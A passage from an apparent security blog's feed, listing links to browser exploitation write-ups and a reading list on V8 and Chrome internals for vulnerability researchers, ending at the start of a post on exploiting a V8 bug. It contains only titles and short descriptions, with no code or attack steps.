<p><a href="https://downloads.immunityinc.com/infiltrate-archives/webkit_heap.pdf">Attacking the Webkit Heap</a></p>
</li>
<li>
<p><a href="http://pwning.net/pwn/2019/01/02/35c3ctf-2018-krautflare/">35c3ctf 2018 krautflare</a></p>
</li>
<li>
<p><a href="https://www.microsoft.com/security/blog/2017/10/18/browser-security-beyond-sandboxing/">Browser Security Beyond Sandboxing</a></p>
</li>
<li>
<p><a href="https://sensepost.com/blog/2020/intro-to-chromes-v8-from-an-exploit-development-angle/">Intro to Chromes V8 from an Exploit Development Angle</a></p>
</li>
<li>
<p><a href="https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping/">A Eulogy for Patch Gapping</a></p>
</li>
<li>
<p><a href="https://blog.bi0s.in/2019/08/18/Pwn/Browser-Exploitation/cve-2019-11707-writeup/">Browser Exploitation: CVE-2019-11707 Writeup</a></p>
</li>
<li>
<p><a href="https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html">Pointer Compression in V8</a></p>
</li>
<li>
<p><a href="https://blog.infosectcbr.com.au/2020/01/firefox-spidermonkey-js-engine.html">Firefox Spidermonkey JS Engine Exploitation</a></p>
</li>
<li>
<p><a href="https://labs.f-secure.com/assets/BlogFiles/G.-Geshev-and-Rob-Miller-Chainspotting.pdf">Chainspotting - Building Exploit Chains with Logic Bugs</a></p>
</li>
<li>
<p><a href="https://saelo.github.io/posts/jsc-typedarray.slice-infoleak.html">JSC TypedArray.slice infoleak</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.blogspot.com/2015/01/exploiting-nvmap-to-escape-chrome.html">Exploiting NVMAP to escape Chrome Sandbox</a></p>
</li>
<li>
<p><a href="https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/">CVE-2020-0041 Chrome Sandbox Escape</a></p>
</li>
<li>
<p><a href="https://sensepost.com/blog/2020/the-hunt-for-chromium-issue-1072171/">The hunt for Chromium issue 1072171</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.blogspot.com/2020/06/ff-sandbox-escape-cve-2020-12388.html">FF Sandbox Escape (CVE-2020-12388)</a></p>
</li>
<li>
<p><a href="https://theori.io/research/escaping-chrome-sandbox/">Cleanly Escaping The Chrome Sandbox</a></p>
</li>
<li>
<p><a href="https://zon8.re/posts/exploiting-an-accidentally-discovered-v8-rce/">Exploiting an Accidentally Discovered V8 RCE</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html">Jitsploitation I: A JIT Bug</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html">Jitsploitation II: Getting Read/Write</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.blogspot.com/2020/09/jitsploitation-three.html">Jitsploitation III:  Subverting Control Flow</a></p>
</li>
<li>
<p><a href="https://labs.f-secure.com/blog/exploiting-cve-2019-17026-a-firefox-jit-bug/">Exploiting CVE-2019-17026 A Firefox JIT Bug</a></p>
</li>
<li>
<p><a href="https://blog.doyensec.com/2020/09/09/fuzzilli-jerryscript.html">Fuzzing JavaScript Engines With Fuzzilli</a></p>
</li>
<li>
<p><a href="https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html">CVE-2020-1380: Analysis of a Recently Fixed IE Zero-Day</a></p>
</li>
<li>
<p><a href="https://blog.br0vvnn.io/pages/blogpost.aspx?id=1&amp;ln=0">DOS2RCE: A New Technique to Exploit V8 NULL Pointer Dereference Bug</a></p>
</li>
<li>
<p><a href="https://blog.exodusintel.com/2020/10/20/firefox-vulnerability-research/">Firefox Vulnerability Research</a></p>
</li>
<li>
<p><a href="https://blog.exodusintel.com/2020/11/10/firefox-vulnerability-research-part-2/">Firefox Vulnerability Research 2</a></p>
</li>
<li>
<p><a href="https://translate.google.com/translate?sl=auto&amp;tl=en&amp;u=http%3A%2F%2Fufo.stealien.com%2Fr%26d%2F2020%2F09%2F25%2Fbug_hunting.html">Bug Hunting Diary (Chrome/V8)</a></p>
</li>
<li>
<p><a href="https://doar-e.github.io/blog/2020/11/17/modern-attacks-on-the-chrome-browser-optimizations-and-deoptimizations/">Modern attacks on the Chrome Browser: Optimizations and Deoptimizations</a></p>
</li>
<li>
<p><a href="https://blog.ret2.io/2021/06/02/pwn2own-2021-jsc-exploit/">Pwn2Own 2021 JSC Exploit</a></p>
</li>
<li>
<p><a href="https://www.cyberark.com/resources/threat-research-blog/the-mysterious-realm-of-javascriptcore">The Mysterious Realm Of JavaScriptCore</a></p>
</li>
<li>
<p><a href="https://blog.theori.io/research/webkit-type-confusion/">Patch Gapping a Safari Type Confusion</a></p>
</li>
<li>
<p><a href="https://blog.mozilla.org/attack-and-defense/2021/04/27/examining-javascript-inter-process-communication-in-firefox/">Examining JavaScript Inter-Process Communication in Firefox</a></p>
</li>
<li>
<p><a href="https://leethax0.rs/2021/04/ElectricChrome/">ELECTRIC CHROME - CVE-2020-6418 on Tesla Model 3</a></p>
</li>
<li>
<p><a href="https://github.com/singularseclab/Slides/blob/main/2021/chrome_exploitation-zer0con2021.pdf">Chrome Exploitation Zer0con 2021</a></p>
</li>
<li>
<p><a href="https://securitylab.github.com/research/one_day_short_of_a_fullchain_renderer/">One day short of a full chain: Part 3 - Chrome renderer RCE</a></p>
</li>
<li>
<p><a href="https://securitylab.github.com/research/one_day_short_of_a_fullchain_sbx/">One day short of a full chain: Part 2 - Chrome sandbox escape</a></p>
</li>
<li>
<p><a href="https://www.willsroot.io/2021/04/turboflan-picoctf-2021-writeup-v8.html">Turboflan PicoCTF 2021 Writeup</a></p>
</li>
<li>
<p><a href="https://www.willsroot.io/2021/01/rope2-hackthebox-writeup-chromium-v8.html">Rope2 HackTheBox Writeup</a></p>
</li>
<li>
<p><a href="https://ptr-yudai.hatenablog.com/entry/2020/05/11/095526">SpamAndFlags 2020 Writeups</a></p>
</li>
<li>
<p><a href="https://ray-cp.github.io/archivers/jsc-pwn-FireShell-ctf-2020-The-Return-of-the-Side-Effect-writeup-en">FireShell ctf 2020 The Return of the Side Effect writeup</a></p>
</li>
<li>
<p><a href="https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90">Browser-pwn cve-2020-6418</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-11707.html">CVE-2019-11707: IonMonkey Type Confusion in Array.Pop</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-1367.html">CVE-2019-1367: Internet Explorer JScript use-after-free</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-13720.html">CVE-2019-13720: Chrome use-after-free in webaudio</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2019-17026.html">CVE-2019-17026: Firefox Type Confusion in IonMonkey</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-0674.html">CVE-2020-0674: Internet Explorer use-after-free in JScript</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-16009.html">CVE-2020-16009: Chrome Turbofan Type Confusion after Map Deprecation</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-6418.html">CVE-2020-6418: Chrome incorrect side-effect modelling issue in Turbofan leading to type confusions</a></p>
</li>
<li>
<p><a href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30551.html">CVE-2021-30551: Chrome Type Confusion in V8</a></p>
</li>
<li>
<p><a href="https://jhalon.github.io/chrome-browser-exploitation-1/">Chrome Browser Exploitation 1 - Jhalon</a></p>
</li>
<li>
<p><a href="https://www.da.vidbuchanan.co.uk/blog/webos-wampage.html">V8 Heap pwn and /dev/memes - WebOS Root LPE</a></p>
</li>
<li>
<p><a href="https://www.zerodayinitiative.com/blog/2021/12/6/two-birds-with-one-stone-an-introduction-to-v8-and-jit-exploitation">Two Birds with One Stone: Introduction to V8 and JIT Exploitation</a></p>
</li>
<li>
<p><a href="https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce">Exploitation of CVE-2021-21220 - From Incorrect JIT Behaviour to RCE</a></p>
</li>
<li>
<p><a href="https://www.zerodayinitiative.com/blog/2021/12/8/understanding-the-root-cause-of-cve-2021-21220-a-chrome-bug-from-pwn2own-2021">Understanding the root cause of CVE-2021-21220 a Chrome Bug From Pwn2Own 2021</a></p>
</li>
<li>
<p><a href="https://www.zerodayinitiative.com/blog/2022/8/17/but-you-told-me-you-were-safe-attacking-the-mozilla-firefox-renderer-part-1">Attacking the Mozilla Firefox Renderer Part 1</a></p>
</li>
<li>
<p><a href="https://www.zerodayinitiative.com/blog/2022/8/23/but-you-told-me-you-were-safe-attacking-the-mozilla-firefox-renderer-part-2">Attacking the Mozilla Firefox Renderer Part 2</a></p>
</li>
<li>
<p><a href="https://tiszka.com/blog/CVE_2021_21225.html">A Bug&rsquo;s Life: CVE-2021-21225</a></p>
</li>
<li>
<p><a href="https://tiszka.com/blog/CVE_2021_21225_exploit.html">Exploiting CVE-2021-21225 and disabling W^X</a></p>
</li>
</ul>
<h2 id="misc">Misc</h2>
<ul>
<li><a href="https://github.com/tunz/js-vuln-db">JSVulnDB</a></li>
<li><a href="https://github.com/theori-io/pwnjs">PwnJS</a></li>
<li><a href="https://github.com/saelo/jscpwn/blob/master/int64.js">Int64.js</a></li>
<li><a href="https://omahaproxy.appspot.com/">OmahaProxy</a></li>
<li><a href="https://www.zerodayinitiative.com/advisories/published/">ZDI Published</a></li>
<li><a href="https://github.com/Escapingbug/awesome-browser-exploit">Awesome Browser Exploit</a></li>
<li><a href="https://github.com/m1ghtym0/browser-pwn">Browserpwn</a></li>
<li><a href="https://zon8.re/posts/jsc-architecture-reading-list-for-vulnerability-researchers/">JSC Architecture Reading List</a></li>
<li><a href="https://zon8.re/posts/v8-chrome-architecture-reading-list-for-vulnerability-researchers/">V8 Architecture Reading List</a></li>
<li><a href="https://zon8.re/posts/v8-vulnerability-pocs/">V8 Vulnerability PoCs</a></li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>V8 / Chrome Architecture Reading List - For Vulnerability Researchers</title>
            <link>https://zon8.re/posts/v8-chrome-architecture-reading-list-for-vulnerability-researchers/</link>
            <pubDate>Sat, 07 Mar 2020 00:00:00 +0000</pubDate>
            
            <guid>https://zon8.re/posts/v8-chrome-architecture-reading-list-for-vulnerability-researchers/</guid>
            <description>Continously Updated! Last Update: 11 November 2022
Want to learn how to break V8 or Chrome? Got some time spare on your commute? Watch these conference talks or read these articles to get up to speed with V8 and Chrome internals.
Videos Mathias Bynens - V8 internals for JavaScript developers - JSConf AU 18 - Mathias Bynens - Discusses how elements kinds and different data types are handled in V8. Covers the following topics:</description>
            <content type="html"><![CDATA[<p><strong>Continously Updated! Last Update: 11 November 2022</strong></p>
<p>Want to learn how to break V8 or Chrome? Got some time spare on your commute? Watch these conference talks or read these articles to get up to speed with V8 and Chrome internals.</p>
<h2 id="videos">Videos</h2>
<ul>
<li>
<p><a href="https://www.youtube.com/watch?v=m9cTaYI95Zc">Mathias Bynens - V8 internals for JavaScript developers</a> - <em>JSConf AU 18 - Mathias Bynens</em> - Discusses how elements kinds and different data types are handled in V8. Covers the following topics:</p>
<ul>
<li>SMIs</li>
<li>Doubles</li>
<li>Regular Elements</li>
<li>Packed Elements</li>
<li>Holey elements</li>
<li>Performance</li>
</ul>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=5nmpokoRaZI">JavaScript Engines: The Good Parts</a> - <em>JSConf EU 2018 - Mathias Bynens &amp; Benedikt Meurer</em> Introduction to the four main JavaScript engines. Covers JavaScript engine fundamentals such as:</p>
<ul>
<li>Representation of objects</li>
<li>Transition trees</li>
<li>High level comparison between the optimizing/JIT compilers in each JS engine.</li>
</ul>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=p-iiEDtpy6I">JavaScript engines - how do they even?</a> - <em>JSConf EU 2017 - Franziska Hinkelmann</em> - Introduction to JIT, optimizing compilers and compiler differences in each JavaScript engine.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=IFWulQnM5E0">A Tale of Types, Classes, and Maps</a> - <em>JSCamp Barcelona 2018 - Benedikt Meurer</em> - Introduction to the main four JavaScript engines and how they work. Discusses optimixation, deoptimization fundamentals and differences in each engine.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=KiWEWLwQ3oI">Escape Analysis in V8</a> - <em>Google - Tobias Tebbi</em> - Covers escape analysis in Turbofan. Escape Analysis is a compiler optimization that allows to remove or postpone the allocation of temporary objects, potentially storing the object fields in registers instead.</p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=mjHtadilm00">Inside V8: The choreography of Ignition and TurboFan</a> - <em>Web Rebels 2018 - Sigurd Scheider</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=T42_nGOVHig">Garbage Collection in V8</a> - <em>React Vienna 2017 - Irina Shestak</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=Scxz6jVS4Ls">Orinoco: The new V8 Garbage Collector</a> - <em>NodeConf EU 2018 - Peter Marshall</em></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=tLyIs_0cUyc">Memory Layout of V8&rsquo;s Heap</a> - <em>dotJS 2016 - Fedor Indutny</em> - Discusses core V8 concepts such as &ldquo;SMIs&rdquo; (Small Integers), Pointer Tagging, Boxing, &ldquo;Maps&rdquo; and the object layout in memory. Also introduces &ldquo;llnode&rdquo;, a lldb plugin for debugging NodeJS and V8.</p>
</li>
<li>
<p><a href="https://youtu.be/UJPdhx5zTaw">Breaking the JavaScript Speed Limit with V8</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=r5OWCtuKiAk&amp;feature=youtu.be">Ignition: An Interpreter for V8</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=M1FBosB5tjM">Turbofan: A new code generation architecture for V8</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=o-nR7enXzII">Mojo - Chrome&rsquo;s IPC</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=jqQdgQKYq7E&amp;list=PLNYkxOF6rcICgS7eFJrGDhMBwWtdTgzpx&amp;index=13&amp;t=0s">Security 101 (Chrome University)</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=lv0lvJigrRw&amp;list=PLNYkxOF6rcICgS7eFJrGDhMBwWtdTgzpx&amp;index=13">Security 201 (Chrome University)</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=PzzNuCk-e0Y&amp;list=PLNYkxOF6rcICgS7eFJrGDhMBwWtdTgzpx&amp;index=2">Anatomy of the Browser 101 (Chrome University)</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=u7berRU9Qys&amp;list=PLNYkxOF6rcICgS7eFJrGDhMBwWtdTgzpx&amp;index=3">Anatomy of the Browser 201 (Chrome University)</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=5im7SGmJxnA&amp;list=PLNYkxOF6rcICgS7eFJrGDhMBwWtdTgzpx&amp;index=7">Life of a Process (Chrome University)</a></p>
</li>
<li>
<p><a href="https://www.youtube.com/watch?v=3bVcTFOKRyo&amp;list=PLNYkxOF6rcICgS7eFJrGDhMBwWtdTgzpx&amp;index=11">Life of a Script (Chrome Univesity)</a></p>
</li>
</ul>
<h2 id="v8-concepts">V8 Concepts</h2>
<ul>
<li><a href="https://benediktmeurer.de/2018/08/16/javascript-engine-fundamentals-optimizing-prototypes/">JavaScript engine fundamentals: optimizing prototypes</a></li>
<li><a href="https://benediktmeurer.de/2018/06/14/javascript-engine-fundamentals-shapes-and-inline-caches/">JavaScript engine fundamentals: Shapes and Inline Caches</a></li>
<li><a href="https://V8.dev/blog/elements-kinds">Elements kinds in V8</a></li>
<li><a href="https://V8.dev/blog/free-garbage-collection">Getting garbage collection for free</a></li>
<li><a href="https://V8.dev/blog/fast-properties">Fast Properties in V8</a></li>
<li><a href="http://www.jayconrod.com/posts/51/a-tour-of-V8--full-compiler">A tour of V8: full compiler</a></li>
<li><a href="http://www.jayconrod.com/posts/52/a-tour-of-V8--object-representation">A tour of V8: object representation</a></li>
<li><a href="https://darksi.de/5.allocating-numbers/">Allocating Numbers</a></li>
<li><a href="https://darksi.de/6.smis-and-doubles/">SMIs and Doubles</a></li>
<li><a href="https://dev.to/aafrey/eli5-v8-isolates-and-contexts-1o5i">ELI5: v8 Isolates and Contexts</a></li>
<li><a href="https://medium.com/@bpmxmqd/v8-engine-jsobject-structure-analysis-and-memory-optimization-ideas-be30cfcdcd16">JS Object Structure Analysis</a></li>
<li><a href="https://v8.dev/blog/pointer-compression">Pointer Compression In V8</a></li>
<li><a href="https://docs.google.com/document/d/1FQQGO_DAc_O3t4UD7TrvIojByB7QGfbqm45D8Z-7YWs/edit">Hardening V8 Leveraging Array Invariants</a></li>
</ul>
<h2 id="chrome-security-and-ipc">Chrome Security and IPC</h2>
<ul>
<li><a href="https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md">Chrome Sandbox Design</a></li>
<li><a href="http://seclab.stanford.edu/websec/chromium/chromium-security-architecture.pdf">The Security Architecture of Chromium Browser</a></li>
<li><a href="https://docs.google.com/drawings/d/1TuECFL9K7J5q5UePJLC-YH3satvb1RrjLRH-tW_VKeE/edit">Chrome Security Arcitecture Diagram</a></li>
<li><a href="https://www.chromium.org/Home/chromium-security/site-isolation">Chrome Site Isolation</a></li>
<li><a href="https://chromium.googlesource.com/chromium/src/+/dcc13470a/third_party/WebKit/Source/wtf/PartitionAlloc.md">Chrome Partition Alloc</a></li>
<li><a href="https://chromium.googlesource.com/chromium/src/+/master/docs/security/mojo.md">Chrome Mojo IPC Style Guide</a></li>
<li><a href="https://chromium.googlesource.com/chromium/src.git/+/master/mojo/README.md">Chrome Mojo Readme</a></li>
<li><a href="https://chromium.googlesource.com/chromium/src.git/+/master/docs/mojo_and_services.md">Intro to Mojo &amp; Services</a></li>
<li><a href="https://docs.google.com/document/d/1aitSOucL0VHZa9Z2vbRJSyAIsAz24kX8LFByQ5xQnUg/edit">How Blink Works</a></li>
</ul>
<h2 id="ignition-v8s-interpreter">Ignition (V8&rsquo;s Interpreter)</h2>
<ul>
<li><a href="https://V8.dev/blog/ignition-interpreter">Firing up the Ignition interpreter</a></li>
<li><a href="https://docs.google.com/presentation/d/1HgDDXBYqCJNasBKBDf9szap1j4q4wnSHhOYpaNy5mHU/edit#slide=id.g1357e6d1a4_0_58">Ignition: Jump-starting an Interpreter for V8</a></li>
<li><a href="https://docs.google.com/presentation/d/1OqjVqRhtwlKeKfvMdX6HaCIu9wpZsrzqpIVIwQSuiXQ/edit">Ignition: An Interpreter for V8</a></li>
<li><a href="https://docs.google.com/document/d/11T2CRex9hXxoJwbYqVQ32yIPMh0uouUZLdyrtmMoL44/edit?ts=56f27d9d#heading=h.6jz9dj3bnr8t">Ignition Design Document</a></li>
<li><a href="https://docs.google.com/document/d/1wW_VkkIwhAAgAxLYM0wvoTEkq8XykibDIikGpWH7l1I/edit?ts=570d7131#heading=h.6jz9dj3bnr8t">Ignition: Register Equivalence Optimization</a></li>
<li><a href="https://medium.com/dailyjs/understanding-v8s-bytecode-317d46c94775">Understanding V8&rsquo;s Bytecode</a></li>
<li><a href="https://v8.dev/blog/preparser">Blazingly Fast Parsing, Part 2</a></li>
</ul>
<h2 id="turbofan-v8s-jit-compiler">Turbofan (V8&rsquo;s JIT Compiler)</h2>
<ul>
<li><a href="https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-V8/">An Introduction to Speculative Optimization in V8</a></li>
<li><a href="https://V8.dev/blog/turbofan-jit">Digging into the TurboFan JIT</a></li>
<li><a href="https://darksi.de/a.deoptimize-me-not/">Deoptimize me not, v8</a></li>
<li><a href="https://darksi.de/4.how-to-start-jitting/">How to start JIT-ting</a></li>
<li><a href="https://darksi.de/d.sea-of-nodes/">Sea of Nodes</a></li>
<li><a href="https://V8.dev/docs/turbofan">Turbofan Docs</a></li>
<li><a href="https://docs.google.com/presentation/d/1chhN90uB8yPaIhx_h2M3lPyxPgdPmkADqSNAoXYQiVE/edit">Hooking up the Ignition to the Turbofan</a></li>
<li><a href="https://benediktmeurer.de/2017/03/01/v8-behind-the-scenes-february-edition">Tale of Turbofan</a></li>
<li><a href="https://benediktmeurer.de/2016/11/25/v8-behind-the-scenes-november-edition">Ignition+TurboFan and ES2015</a></li>
<li><a href="https://docs.google.com/presentation/d/1u6bsgRBqyVY3RddMfF1ZaJ1hWmqHZiVMuPRw_iKpHlY/edit#slide=id.p">CodeStubAssembler Redux</a></li>
<li><a href="https://docs.google.com/presentation/d/1H1lLsbclvzyOF3IUR05ZUaZcqDxo7_-8f4yJoxdMooU/edit">Overview of the Turbofan Compiler</a></li>
<li><a href="https://docs.google.com/presentation/d/1Z9iIHojKDrXvZ27gRX51UxHD-bKf1QcPzSijntpMJBM">Turbofan IR</a></li>
<li><a href="https://docs.google.com/presentation/d/1sOEF4MlF7LeO7uq-uThJSulJlTh--wgLeaVibsbb3tc">Turbofan&rsquo;s JIT Design</a></li>
<li><a href="https://docs.google.com/a/google.com/presentation/d/1wZVIqJMODGFYggueQySdiA3tUYuHNMcyp_PndgXsO1Y">Fast Arithmetic for Dynamic Languages</a></li>
<li><a href="https://docs.google.com/presentation/d/1Z6oCocRASCfTqGq1GCo1jbULDGS-w-nzxkbVF7Up0u0">Deoptimization in V8</a></li>
<li><a href="https://docs.google.com/presentation/d/1_eLlVzcj94_G4r9j9d_Lj5HRKFnq6jgpuPJtnmIBs88">Turbofan a new code generation architecture for V8</a></li>
<li><a href="https://docs.google.com/presentation/d/1AVu1wiz6Deyz1MDlhzOWZDRn6g_iFkcqsGce1F23i-M/edit">An Internship on Lazyness Slides</a></li>
<li><a href="https://v8.dev/blog/lazy-unlinking">An internship on laziness: lazy unlinking of deoptimized functions</a></li>
<li><a href="https://docs.google.com/document/d/1CJbBtqzKmQxM1Mo4xU0ENA7KXqb1YzI6HQU8qESZ9Ic/edit">Turbofan: Function Context Specification</a></li>
<li><a href="https://docs.google.com/document/d/1DvDx3Xursn1ViV5k4rT4KB8HBfBb2GdUy3wzNfJWcKM/edit">Turbofan: Rest Parameters and Arguments Exotic Objects optimization plan</a></li>
<li><a href="https://docs.google.com/document/d/1zl0IA7dbPffvPPkaCmLVPttq4BYIfAe2Qy8sapkYgRE">Turbofan Developer Tools Integration</a></li>
<li><a href="https://docs.google.com/document/d/1l-oZOW3uU4kSAHccaMuUMl_RCwuQC526s0hcNVeAM1E">Turbofan Inlining</a></li>
<li><a href="https://docs.google.com/document/d/1VoYBhpDhJC4VlqMXCKvae-8IGuheBGxy32EOgC2LnT8">Turbofan Inlining Heuristics</a></li>
<li><a href="https://docs.google.com/document/d/1R7-BIUnIKFzqki0jR4SfEZb3XmLafa04DLDrqhxgZ9U">TurboFan redundant bounds and overflow check elimination</a></li>
<li><a href="https://docs.google.com/document/d/1ELgd71B6iBaU6UmZ_lvwxf_OrYYnv0e4nuzZpK05-pg">Turbofan Lazy deoptimization without code patching</a></li>
<li><a href="https://docs.google.com/document/d/1aeUugkWCF1biPB4tTZ2KT3mmRSDV785yWZhwzlJe5xY">Turbofan Register Allocator</a></li>
<li><a href="https://docs.google.com/document/d/1C9P8T98P1T_r2ymuUFz2jFWLUL7gbb6FnAaRjabuOMY/edit">Projection nodes in TurboFan</a></li>
<li><a href="https://docs.google.com/document/d/1R0zPOsX95L-x19PTfMJhIcnDcuwZJ9zl04gpmCwIyjs/edit">Builtin optimization guards in TurboFan</a></li>
<li><a href="https://docs.google.com/document/d/1paV2Re7YAqwJlMvunToRV8ZqBXHzSaoXiLrWJsmZDVg/edit">Investigation of (transpiled) class performance in V8</a></li>
<li><a href="https://docs.google.com/document/d/10CbqmRs-i8Jy0IE3ToEP25_FD8gj2kEHvfd3N0icN3g/preview">In-place field representation changes</a></li>
<li><a href="https://docs.google.com/document/d/1EA9EbfnydAmmU_lM8R_uEMQ-U_v4l9zulePSBkeYWmY/edit">ES2015 and beyond performance plan</a></li>
<li><a href="https://docs.google.com/document/d/1o-MJPAddpfBfDZCkIHNKbMiM86iDFld7idGbNQLuKIQ/preview">Fast string concatenation in JavaScript</a></li>
<li><a href="https://docs.google.com/document/d/1x3ittDiaRksghx9My0Lom8Bau2iJELJCjpH2jW9q6tE/edit">Context-sensitive JavaScript operators in TurboFan</a></li>
<li><a href="https://docs.google.com/document/d/1X6zO5F_Zojizn2dmo_ftaOWsY8NltPHUhudBbUzMxnc/preview">Fast frozen &amp; sealed elements in V8</a></li>
<li><a href="https://docs.google.com/document/d/156nh17BpyLNmDmONyC_ZQUbi0h6goNysds2DLXcAzVc/preview">Faster calls with arguments mismatch</a></li>
<li><a href="https://docs.google.com/document/d/1vjddeZw9HmAWOy2pkJtDOW0KtAueLpvGlY1od-uijd0/edit#heading=h.n1atlriavj6v">Faster Runtime API Calls</a></li>
</ul>
<h2 id="sparkplug-v8s-non-optimizing-compiler">Sparkplug (V8&rsquo;s non optimizing compiler)</h2>
<ul>
<li><a href="https://v8.dev/blog/sparkplug">Sparkplug — a non-optimizing JavaScript compiler</a></li>
<li><a href="https://docs.google.com/document/d/13c-xXmFOMcpUQNqo66XWQt3u46TsBjXrHrh4c045l-A/edit">Sparkplug</a></li>
</ul>
<h2 id="turboprop-v8s-mid-tier-compiler">Turboprop (V8&rsquo;s Mid Tier Compiler)</h2>
<ul>
<li><a href="https://docs.google.com/document/d/1NeOsqjPPAcDWbuHxW5MobzVQgj9qZd6NqKUnz0h-fOw/edit#heading=h.djws22xta9wz">TurboProp Mid-Tier Compiler</a></li>
</ul>
<h2 id="mitigations">Mitigations</h2>
<ul>
<li><a href="https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit">V8 Heap Sandbox</a></li>
<li><a href="https://docs.google.com/document/d/1V3sxltuFjjhp_6grGHgfqZNK57qfzGzme0QTk0IXDHk/edit">V8 Sandbox - External Pointer Sandboxing</a></li>
</ul>
<h2 id="v8-garbage-collection">V8 Garbage Collection</h2>
<ul>
<li><a href="https://v8.dev/blog/orinoco">Jank Busters Part Two: Orinoco</a></li>
<li><a href="https://medium.com/@nikolay.veretelnik/garbage-collection-v8s-orinoco-452b70761f0c">Garbage Collection: V8&rsquo;s Orinoco</a></li>
<li><a href="https://V8.dev/blog/trash-talk">Trash talk: the Orinoco garbage collector</a></li>
<li><a href="https://v8.dev/blog/high-performance-cpp-gc">High-Performance Garbabe Collection For C++</a></li>
</ul>
<h2 id="useful-links">Useful Links</h2>
<ul>
<li><a href="https://v8.dev/">V8 Homepage</a></li>
<li><a href="https://omahaproxy.appspot.com/">OmahaProxy</a></li>
<li><a href="https://github.com/v8/v8">V8 Github Mirror</a></li>
<li><a href="https://source.chromium.org/chromium/chromium/src/+/master:v8/src/">V8 / Chrome Source Browser</a></li>
<li><a href="https://bugs.chromium.org/p/chromium/issues/list">Chromium Bug Tracker</a></li>
<li><a href="https://bugs.chromium.org/p/chromium/issues/list?q=blink%20component%3ABlink%3EJavaScript&amp;can=2">V8 Bug Tracker</a></li>
<li><a href="https://groups.google.com/forum/#!forum/v8-users">Google Groups V8</a></li>
<li><a href="https://groups.google.com/a/chromium.org/forum/#!forum/chromium-discuss">Google Groups Chrome</a></li>
<li><a href="https://chromestatus.com/">Chrome Status</a></li>
<li><a href="https://chromiumdash.appspot.com/schedule">Chrome Release Schedule</a></li>
<li><a href="https://blog.chromium.org/">Chromium Blog</a></li>
<li><a href="https://www.chromium.org/developers/severity-guidelines">Chrome Severity Guidelines</a></li>
<li><a href="https://chromium-review.googlesource.com/q/status:open">Chromium Code Review Gerrit</a></li>
<li><a href="https://www.chromium.org/developers/irc">Chromium IRC</a></li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Exploiting an Accidentally Discovered V8 RCE</title>
            <link>https://zon8.re/posts/exploiting-an-accidentally-discovered-v8-rce/</link>
            <pubDate>Thu, 05 Mar 2020 00:00:00 +0000</pubDate>
            
            <guid>https://zon8.re/posts/exploiting-an-accidentally-discovered-v8-rce/</guid>
            <description>Please start opening your eyes, if you have something that crashes, don&amp;rsquo;t just ignore it, don&amp;rsquo;t just click away&amp;hellip;
Take the time to look at what happened, if you surf to a page with your web browser and your web browser disappears, and you surf to the page again and your web browser crashes again, you want to know what this web page does&amp;hellip; take a debugger and look at it, try to find out what happened.</description>
            <content type="html"><![CDATA[<blockquote>
<p>Please start opening your eyes, if you have something that crashes, don&rsquo;t just ignore it, don&rsquo;t just click away&hellip;</p>
</blockquote>
<blockquote>
<p>Take the time to look at what happened, if you surf to a page with your web browser and your web browser disappears, and you surf to the page again and your web browser crashes again, you want to know what this web page does&hellip; take a debugger and look at it, try to find out what happened. Don&rsquo;t ignore everything.</p>
</blockquote>
<blockquote>
<p>Most people stumble across vulnerabilities every day and don&rsquo;t realise. So start looking&hellip;</p>
</blockquote>
<p>Src: <a href="https://youtu.be/Jwot7S6NmLE?t=107">Halvar and FX - Take it from here - Defcon 12</a></p>
<h2 id="introduction">Introduction</h2>
